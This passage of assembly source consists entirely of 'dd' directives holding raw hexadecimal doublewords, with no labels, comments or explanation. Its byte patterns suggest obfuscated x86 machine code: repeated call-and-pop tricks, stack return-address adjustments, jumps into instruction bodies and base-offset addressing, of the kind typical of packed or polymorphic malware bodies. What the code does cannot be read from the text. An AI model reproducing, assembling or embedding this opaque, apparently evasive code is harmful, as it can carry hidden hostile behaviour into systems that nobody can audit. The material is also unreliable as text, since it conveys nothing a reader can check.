		dd 958B064Dh, 64D0599h,	12860Fh, 0DE90000h, 0B4000000h
		dd 65E55DB9h, 12DA9C4Ch, 9E29BC7Dh, 51D8D8Bh, 6A064Dh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 4CE7EBC3h, 74AA05E6h, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 0BF665818h, 8D094C3Ch, 64D2835h, 1C45BD83h
		dd 0F00064Dh, 7A84h, 14E96000h,	6D000000h, 0EE8D8641h
		dd 0CE803399h, 0B7EB3EABh, 383F2EE1h, 66DBB27Eh, 0B861C78Bh
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0CCC35141h
		dd 7FEE3B8Bh, 26D11511h, 4DE58D8Dh, 6A064Dh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0D63781C3h
		dd 0C9889955h, 0F3544F7h, 0E1FFDEB7h, 83FFBF0Fh, 4D02E9BDh
		dd 840F0006h, 4A4h, 4DBD8960h, 0E8064D0Dh, 0Fh,	0A72330C5h
		dd 29CCAEAFh, 8A6472CEh, 6608E1C9h, 6158D38Bh, 2E9BD83h
		dd 0F01064Dh, 49284h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 838488EEh, 4D02E9BDh
		dd 860F0306h, 431h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 6CC35646h, 666B57B8h,	0B7CEF6BBh, 9D8B6064h
		dd 64D23D5h, 6AD98C66h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0BC7FC351h,	0A67417D3h
		dd 6604E180h, 0F7B4EB81h, 840FC90Ah, 174h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 5DC35141h, 18B1EA8Bh
		dd 8BF113A4h, 4D187985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0FDBF7BF2h, 39853399h
		dd 6A064D06h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 8C8FC353h, 1E05BD29h, 0A9BF064Dh
		dd 90493BCFh, 14E8h, 72B16400h,	7EFBF5BDh, 0CE23313h, 9DDD7668h
		dd 0CF886F59h, 28D0F6Ah, 60000000h, 90505B61h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 1CC35141h, 59CD984Eh
		dd 619D89FFh, 6A064D2Fh, 9950900h, 68064D2Eh, 0F501711h
		dd 0EAEBADBBh, 24348104h, 0F4F14EEh, 0AE9h, 0FF3E5700h
		dd 0CEB1DFEh, 0FFB14483h, 4D0EB195h, 0E9B58906h, 0F064D32h
		dd 0A8Fh, 48A0F00h, 66000000h, 898074BFh, 50B79585h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 5E11A689h, 0DE922FDh, 0E7000000h, 0AF7510D3h, 0C93A870Ch
		dd 20F2BDB1h, 1EDE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 0B70F1B3Fh, 0AE9FEh, 0D2890000h
		dd 72482400h, 0BC92CA2Eh, 0B78D858Bh, 89600650h, 4D238D8Dh
		dd 61CE8B06h, 1800C7h, 0BD2B0000h, 64D0A75h, 0B791B58Bh
		dd 9DBB0650h, 8B2955CBh, 4D32E585h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 7DF7488Fh
		dd 0C0AE5B4Fh, 79BFE79Ah, 8954F525h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 9D0B2A2Dh
		dd 64D041Dh, 1879858Bh,	6A064Dh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0F1A1ABC3h, 68A0FEEh
		dd 8B000000h, 4D0EB9BDh, 4468906h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0EC35646h, 0FDCE990h, 684h
		dd 599D0300h, 50064D31h, 6A243489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0C5BAC355h
		dd 9CC0A080h, 99A779BFh, 5E80Eh, 91B40000h, 8BFC5EAEh
		dd 4D04259Dh, 0B5FF5B06h, 650B78Dh, 0FE9h, 7BD01F00h, 0C9E027C5h
		dd 0E8E6B91Fh, 195C1253h, 779A1168h, 0F98B66BFh, 0EE240481h
		dd 6A40A769h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0AF7C351h, 0C281D6CBh,	8DD88B66h
		dd 50B79585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 95922D99h, 4F262DE5h, 0EE90Ah, 417D0000h
		dd 4CE2F3B6h, 0D2368F93h, 134FA557h, 0BE666050h, 896127D2h
		dd 9D8B2404h, 64D2489h,	0EB195FFh, 8952064Dh, 4D2A459Dh
		dd 6A615F06h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0FB08C352h, 3BCBE583h,	21C7812Eh
		dd 0C7103FF7h, 4D02E985h, 306h,	51BD8B00h, 83064D2Eh, 50B795BDh
		dd 840F0006h, 59h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0CC35242h, 20B383C9h,	0E9D1EA2Bh, 14h
		dd 9E0A10E2h, 709DEADFh, 33ED6672h, 423A8694h, 0F9BAB94Bh
		dd 33E9h, 0EE800h, 0EC7B0000h, 375C3058h, 0A186EDCBh, 13ED4646h
		dd 8DF5BF66h, 0C30505Bh, 11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 51006AF8h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0E14C5818h
		dd 48095D35h, 0AE8F0A1h, 6C000000h, 0ABB33CA0h,	26025C2Dh
		dd 819BBF56h, 835B2686h, 4D02E9BDh, 850F0306h, 46Fh, 3049BD09h
		dd 0BD83064Dh, 650B795h, 5C840F00h, 89000004h, 4D05C995h
		dd 0DA8B6606h, 0B795B5FFh, 6A0650h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 9CCD2DC3h
		dd 0A0394045h, 2AF99D8Bh, 8C0F064Dh, 0
		dd 0BE9h, 99597F00h, 0AEEC11C4h, 9FFE7193h, 2D9995FFh
		dd 6A064Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0B3C5FFC3h, 665198C2h, 97CCEB81h,	0B789B58Bh
		dd 53600650h, 241D8589h, 0B95B064Dh, 22A61D14h,	106C761h
		dd 6A000100h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 5FBC357h, 58555F6Dh, 0B72A3DA3h
		dd 0C3816609h, 5096E7A9h, 0BB525052h, 1F906B39h, 585A310Fh
		dd 5B56310Fh, 6650585Ah, 96C646BBh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0C6C35141h,	0AC6D40F9h, 91BD0B03h
		dd 0FF064D12h, 50B795B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 5611E72h, 78F8466Bh
		dd 0F9B70FF8h, 0FFD9BF0Fh, 4D308D95h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
		dd 4B13F658h, 891CD428h, 4D124DBDh, 7DBD8906h, 8B064D32h
		dd 4D2E159Dh, 89B58B06h, 890650B7h, 4D1411BDh, 85858B06h
		dd 8B064D23h, 4D06A5BDh, 0C4868906h, 89000000h,	4D2009B5h
		dd 99958B06h, 6A064D05h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 3166C356h, 0F605293h
		dd 89h,	835F6100h, 0BB6604C2h, 50899056h, 55006A20h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 1F0462F8h, 546C29CAh, 0EF8166F6h, 858D0DDFh,	650CBF0h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 2DC35343h
		dd 0A5BD0938h, 89064D2Eh, 0B886h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 685E42BFh
		dd 0B7EFC268h, 6A006ACDh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0B6EEC350h,	0E89D5532h
		dd 13h,	0CBA1459Fh, 1C4647A7h, 88801D65h, 0E0C55A16h, 0F688E87h
		dd 0FF5FFBBFh, 50B795B5h, 15B58906h, 0FF064D2Eh, 4D243195h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 10E950B1h, 8D000000h, 0B9EDE4E1h, 46431E84h
		dd 0FC70800h, 89A2DD8Dh, 0BB662434h, 0B5FFBE36h, 650B795h
		dd 0A185FDBBh, 0C195FF49h, 8B064D2Ch, 4D2D69BDh, 0A5BD8306h
		dd 64D32h, 4B840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 180424h, 56460000h, 0FA97C2C3h, 800FB78Fh
		dd 6, 30899D29h, 6050064Dh, 0CE8h, 5633A700h, 0D9CB338Ah
		dd 0BC5B35CFh, 5B5F516Fh, 24348961h, 77F78166h,	95B5FFCFh
		dd 6A0650B7h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0C6D2C351h, 1A81BEE0h,	95FF4EB3h
		dd 64D17C5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	5DC35545h, 10E8h, 94F4CC00h, 0F8928E91h, 3D24AE4h
		dd 562A1CBDh, 89BB6633h, 0BD295B9Bh, 64D2E89h, 0B795B5FFh
		dd 6A0650h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0FFBC33C3h, 4D29B995h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0F8BF0FA5h
		dd 1505BD83h, 0F02064Dh, 5384h,	95852900h, 8B064D12h, 4D15A985h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0A74EC530h, 2835B589h, 0C6064Dh,	50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 7B893C76h, 211185C7h, 64Dh, 0C0BF0000h, 0E96486E8h
		dd 0FFFFF250h, 8B10E380h, 50006AC1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0C41CBFDDh
		dd 858D67F1h, 64D0735h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 0A2C35646h, 5E960E7h,	0E0000000h, 383C77D8h
		dd 14E99061h, 2A000000h, 13229E77h, 2C0B5EF7h, 555B6CD6h
		dd 24C7178Ch, 5033C131h, 7E8h, 0B39A6400h, 0F7A934A9h
		dd 0EE1EBF57h, 5F5F7D66h, 50006A90h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 7F75608Ch
		dd 6A006A9Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 8B37C353h, 0E99C1084h,	8, 2178F75Dh
		dd 1FD1CC36h, 10E9h, 0DA439200h, 2F1E385Fh, 1534356Eh
		dd 35FEB06h, 0E9006AB8h, 0Dh, 8F71D240h, 0C18CBFC4h, 4BEAE540h
		dd 0AE858DA1h, 60065206h, 6E9h,	54472500h, 81AF2B23h, 8E4DC9E1h
		dd 0C083617Dh, 90F88B05h, 2800Fh, 0FA8B0000h, 2860F50h
		dd 8B000000h, 0F5290F9h, 38Dh, 0EEEB8000h, 0C995895Fh
		dd 6A064D13h, 0F19D3300h, 6A064D1Dh, 0E7816600h, 95FFA98Bh
		dd 64D1149h, 30D5BD0Bh,	8D8D064Dh, 6509A13h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 69C35646h, 0F385CA3h
		dd 48Eh, 0ABB6600h, 0C781579Ch,	5ACA5226h, 6AD1FF5Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0C327C351h, 81BD83CEh, 1064D12h, 6E850Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0BD299DC3h, 0CE93Ah,	51AB0000h, 2F2DA4B2h, 8B68E787h
		dd 26A0D97h, 8BF68060h,	68D0Fh,	0B5890000h, 64D11C5h, 0B8605061h
		dd 6F86C849h, 0FDD0CABFh, 4896132h, 6E824h, 697D0000h
		dd 650D3E75h, 5FFE8B66h, 243195FFh, 9D8B064Dh, 64D0AD9h
		dd 0D8EE9h, 0E800h, 815D0000h, 5206B8EDh, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 50AB5278h, 0AF99D8Bh, 535B064Dh, 5FD98B66h, 8A57858Dh
		dd 9D8B0650h, 64D0F09h,	0FB8B6690h, 5E95250h, 41000000h
		dd 0CA01C13h, 9D8B905Bh, 64D2759h, 35FF64h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0B4B3C351h, 76CB6A0Ah, 0B0E9CCEEh, 258964h
		dd 66000000h, 85FFDE8Bh, 64D1815h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 4CC35242h, 9BE3278Eh, 512E94FBh
		dd 3BF5CF81h, 8B5F087Eh, 4D30699Dh, 6AFF6A06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 5E25C357h, 0D16AB829h, 9D89F52Dh, 64D296Dh, 755B5FFh
		dd 9531064Dh, 64D1BCDh,	41195FFh, 2DE9064Dh, 8B000001h
		dd 4D29E59Dh, 8900B006h, 4D15E985h, 8B70E606h, 4D30819Dh
		dd 2B71E406h, 4D05719Dh, 0F613C06h, 10783h, 11BD3300h
		dd 0F064D0Dh, 8166C8B6h, 0BAB70AC7h, 6,	8433F9BFh, 0FC18B0Dh
		dd 1884h, 13E900h, 85C70000h, 0A7A677A2h, 326F23F8h, 0C348CBB4h
		dd 7B6F82B9h, 4E8C11Ah,	0E2F766F8h, 0E8C0Fh, 8B600000h
		dd 4D2FD1B5h, 0E7F08106h, 61428FFEh, 8531C82Bh,	64D1B81h
		dd 0A4C8BF66h, 0A1E9D18Bh, 8B000000h, 4D2305BDh, 49858B06h
		dd 8B44004Eh, 4D2F559Dh, 47DB8106h
		dd 837F8FE8h, 9D3307C0h, 64D0B19h, 0F00C083h, 0D03BF8BFh
		dd 0D830Fh, 5B530000h, 6BE9h, 59BD8B00h, 8B064D0Ah, 0FFFFFF8Dh
		dd 11E9FFh, 4D420000h, 336F8A5Ah, 770D701Eh, 0E12627DBh
		dd 8336CDCFh, 840F01E1h, 40h, 26D18D89h, 67BB064Dh, 83055CD5h
		dd 0FFFFFFA5h, 880FFEFFh, 5, 70F5A5BBh,	4995896Dh, 0E944004Eh
		dd 13h,	3C3CDB9Eh, 5C7BD98Fh, 65A1D790h, 30820080h, 0E94D9AA6h
		dd 0
		dd 83F1B58Dh, 6A0651h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 4048D2C3h, 6A194BE2h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 2D9D091Ch, 0F064D31h, 68Dh, 5D9D8B00h, 0FF064D30h, 4D051195h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8E91F5Eh, 0FB000000h, 0A24171ACh, 8B8320DBh
		dd 117EB9F8h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 0E6C2A9C3h, 48B0FA3h, 66000000h
		dd 8336DABBh, 0BD8BFCE1h, 64D2B01h, 398D89FCh, 0B8064D07h
		dd 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0EEC35545h
		dd 8E9468Ch, 5E000000h,	0F109F4EFh, 89D245C6h, 4D073195h
		dd 8BD22B06h, 4D1845BDh, 0C233AD06h, 0D003E8D1h, 7504E983h
		dd 0A19D89F4h, 0BF064D31h, 7CE02E86h, 9820Fh, 890F0000h
		dd 3, 0DDEB70Fh, 88h, 0E852006Ah, 3, 5AC35A20h,	4245489h
		dd 4244481h, 16h, 32C35242h, 13E9F0B1h,	6B000000h, 0FC08AFB1h
		dd 7A7A61EDh, 48D4B4A5h, 0DDF7A882h, 958B1894h,	64D0599h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 7CC35343h
		dd 0C4DA0602h, 490B4118h, 12E2EBBh, 0CECF8038h,	51D8D8Bh
		dd 6A064Dh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0BAFB71C3h, 5A59D8Bh, 8B50064Dh, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 1EC35343h, 15A58589h, 0BD83064Dh
		dd 64D1C45h, 4E840F00h,	89000000h, 4D21919Dh, 0B806h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0E8EF83C3h, 6, 0D2EAB2E7h, 9D8BD4E3h, 64D234Dh, 0E58D8D5Fh
		dd 9064D4Dh, 4D13D5BDh,	89E1FF06h, 4D1211BDh, 0E9BD8306h
		dd 64D02h, 415840Fh, 0F600000h,	8D0FC6BFh, 6, 2F2D8D8Bh
		dd 8361064Dh, 4D02E9BDh, 840F0106h, 412h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 18h, 6AC35646h, 0D6BEAFF7h
		dd 5E9h, 50E44E00h, 0BD83F007h,	64D02E9h, 0A5860F03h, 6A000003h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0BE36C357h, 8D01559Fh, 64D1875h, 9E960h
		dd 342F0000h, 785ED287h, 66E1286Eh, 6AD98Ch, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0B53188C3h
		dd 64D105Dh, 0A04E180h,	2E840FC9h, 6A000001h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 5D73C351h, 858B4827h, 64D1879h, 2DB59589h, 8533064Dh
		dd 64D0639h, 2165BD8Bh,	6690064Dh, 6650FE8Bh, 9048E4BFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 58C35747h
		dd 0E8006A5Fh, 4, 1F03FFh, 11E8h, 0B2E74100h, 0D4E3D2EAh
		dd 7B50C8E9h, 0BAC27545h, 0AE8F3B4h, 0FC000000h, 0A7A21538h
		dd 7068B674h, 505F5F57h, 5E8h, 0F6D06400h, 18BF9E1Bh, 5F6BEEDAh
		dd 424448Bh, 35F7BB66h,	9BB008Bh, 89518695h, 0E9042444h
		dd 5, 1F6BFCDEh, 9529582Bh, 64D318Dh, 0EB195FFh, 6A064Dh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0E20280C3h, 6F336E05h, 0EB8166C2h, 85895E33h, 650B795h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 4C35747h
		dd 0DA3F80CAh, 0CD9C95D3h, 0D98B6635h, 1ABE9h, 0FB8B6600h
		dd 0E552C4BFh, 8D858B1Ch, 90650B7h, 4D1861BDh, 1800C706h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0DC80C357h, 0F9248FD1h, 32318529h
		dd 0B58B064Dh, 650B791h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 82C35343h, 0EC430C2Bh, 0BF6B9560h, 7D376D77h
		dd 8BFBBF0Fh, 4D32E585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 8965D40Fh, 4D05A595h
		dd 0F9068906h, 1879858Bh, 6A064Dh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 894949C3h, 4D0DC98Dh
		dd 4468906h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0DBC35747h, 0AF2E11D6h,	3999D8Bh, 0EB81064Dh, 3AA9E9F9h
		dd 7E950h, 371D0000h, 0AA2C3F02h, 24348955h, 15E59D8Bh
		dd 0B5FF064Dh, 650B78Dh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 91C35747h, 8BB9ABFFh,	4D23D19Dh, 4D9D8B06h
		dd 68064D0Ch, 0C6249BEEh, 0FF31BB66h, 11240481h, 6639FA68h
		dd 8D5EA6BBh, 50B79585h, 89FC6006h, 4D1AD1B5h, 9D896106h
		dd 64D2715h, 0FE950h, 0EC290000h, 0B93E826h, 0FDEF9D43h
		dd 949252C9h, 24048927h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0C8C35747h, 51BD8BECh, 0FF064D2Eh, 4D0EB195h
		dd 0DEBF0F06h, 53006A61h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 3432EF2Ch, 0E985C738h
		dd 3064D02h, 52000000h,	6820Fh,	9D030000h, 64D1009h, 95BD835Fh
		dd 650B7h, 2A840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 140424h, 57470000h, 9D8916C3h, 64D2ED5h
		dd 1EE9h, 0F98B6600h, 110C3050h, 1114400h, 3010E8C1h, 21144h
		dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0BC49C357h,	9E9F5h
		dd 74780000h, 919A601h,	6AB54C2Ch, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0D4BDC350h
		dd 0EA7F2113h, 0B589EB3Dh, 64D21A1h, 2E9BD83h, 0F03064Dh
		dd 41A85h, 0DA8B6600h, 0B795BD83h, 0F000650h, 40A84h, 59D8900h
		dd 0FF064D31h, 50B795B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 3186D2DFh
		dd 4D1AB1B5h, 8E906h, 0D8840000h, 0D9AD8CCBh, 95FF96C9h
		dd 64D2D99h, 1D4A48BBh,	89B58B16h, 6A0650B7h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0AB7DC350h, 67BFA507h, 0D912563h, 0D98B6651h, 106C75Bh
		dd 0F000100h, 6650DEB7h, 8904F8BFh, 6A2434h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0CF781C3h
		dd 8925256Fh, 4D1DFD8Dh, 5850F06h, 66000000h, 0EB75CF81h
		dd 0B795B5FFh, 6A0650h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0EAD088C3h, 8D95FFF9h, 6A064D30h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0A149C356h, 0B58BCDA7h, 650B789h,	19890Fh
		dd 14E90000h, 6B000000h, 0BE9585A0h, 0F89187Ch,	3273BC9Fh
		dd 11929170h, 8B8EA212h, 4D238585h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0D5B52971h
		dd 89064D27h, 0C486h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0AF8A9A25h, 0C985898Bh
		dd 8B064D1Ah, 4D059995h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0E2B756B6h, 4C283A8h
		dd 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 17h, 17C35040h, 66C00C5Ah
		dd 9BCDEF81h, 0BB205089h, 2A304355h, 0CBF0858Dh, 89F80650h
		dd 0B886h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 0A8FF9800h, 50EBE16Ah, 13E964h, 5DB30000h
		dd 28929EE7h, 60C65215h, 680066EFh, 15B84A2Ah, 870F22h
		dd 6A000000h, 6D8D2900h, 0FF064D17h, 50B795B5h,	0CFB7BB06h
		dd 0BD2B3088h, 64D2551h, 243195FFh, 6A064Dh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BD8934C3h
		dd 64D21F5h, 7E896h, 4E050000h,	1DC679E7h, 11E9A3h, 0B2880000h
		dd 0C6CB1AF5h, 0DF8F920Fh, 0D2694095h, 5F3522A0h, 0FE850h
		dd 0A1F10000h, 0D15803BFh, 978FDAD3h, 0E0623C61h, 5F35B7BAh
		dd 50006A96h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 993B2CDEh, 66319586h, 0FF49FFBBh, 50B795B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 150920A1h, 0C195FFB9h, 2B064D2Ch, 4D23D99Dh
		dd 0A5BD8306h, 64D32h, 30840Fh,	8B660000h, 8D0F50D8h, 2
		dd 3489A1B3h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 66705BA9h, 0B5FFFA8Bh, 650B795h
		dd 15959D8Bh, 95FF064Dh, 64D17C5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0B4C35747h,	70C29B5Ch, 95B5FF81h
		dd 0F0650B7h, 28Dh, 0FFDCB700h,	4D29B995h, 0D9BF0F06h
		dd 1505BD83h, 0F02064Dh, 4C84h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 858BB115h
		dd 64D15A9h, 34BB6656h,	0C65F06h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 53F20ECFh
		dd 1185C7BCh, 64D21h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 4513C351h, 0B540719Dh
		dd 79B58938h, 0E9064D1Bh, 0FFFFF365h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0C7C35141h,	7C8C66Ah, 8B6DA8B8h
		dd 65BD8BC1h, 8D064D1Ch, 4D073585h, 50FA8A06h, 12E96060h
		dd 6D000000h, 1594D827h, 57193CE6h, 0D2B64ED2h,	0C7F73D7h
		dd 0D98B6177h, 24048961h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0ACC35040h, 4C98D741h, 89AACCA1h, 4D1809B5h
		dd 6A006A06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 8B50C356h, 4D038DBDh, 0F006A06h
		dd 580h, 0EB816600h, 858D9F97h,	6521633h, 0AE8h, 26678C00h
		dd 27D266A1h, 898F7DB7h, 4D1181BDh, 0C0835B06h,	9E905h
		dd 0FEA50000h, 0D431A16Bh, 9034B337h, 12E9h, 0BE90AD00h
		dd 0A55684B1h, 0AF316A98h, 19D58F88h, 508D755Eh, 90D88B66h
		dd 1A859D8Bh, 6A064Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 35C35545h, 26499D89h,	0DBBF064Dh, 6A2E5EA1h
		dd 0FF91B300h, 4D114995h, 0F9BD8906h, 8D064D2Ch, 509A138Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0F03309D6h, 9D03637Ah, 64D0E61h,	0BF0FD1FFh
		dd 81BD83D9h, 1064D12h,	0A7850Fh, 81660000h, 6ADB9CC3h
		dd 53006A02h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0A2610537h, 666E94BBh, 1067C381h, 0CEDCBF66h
		dd 9E9h, 0CA7F4100h, 0F093FF09h, 6050381Ah, 0BE9h, 4E6F6F00h
		dd 64C14829h, 6047B113h, 9154B956h, 6159278Fh, 6A240489h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 7580C353h, 0FF65829Fh, 4D243195h,	56006A06h
